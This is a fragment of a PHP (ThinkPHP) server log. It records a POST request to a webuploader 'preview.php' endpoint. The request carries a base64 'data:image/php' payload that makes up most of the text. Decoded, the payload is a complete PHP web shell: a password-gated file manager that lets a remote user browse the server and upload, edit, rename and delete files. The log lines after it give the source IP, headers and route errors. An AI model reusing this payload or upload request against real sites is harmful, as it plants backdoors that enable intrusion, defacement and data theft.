'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'plugins' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T10:05:15+08:00 ] 116.213.36.234 POST 51tianwei.com/static/admin/js/plugins/webuploader/0.1.15/server/preview.php [运行时间:0.002507s] [吞吐率:398.89req/s] [内存消耗:196.82kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'static', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 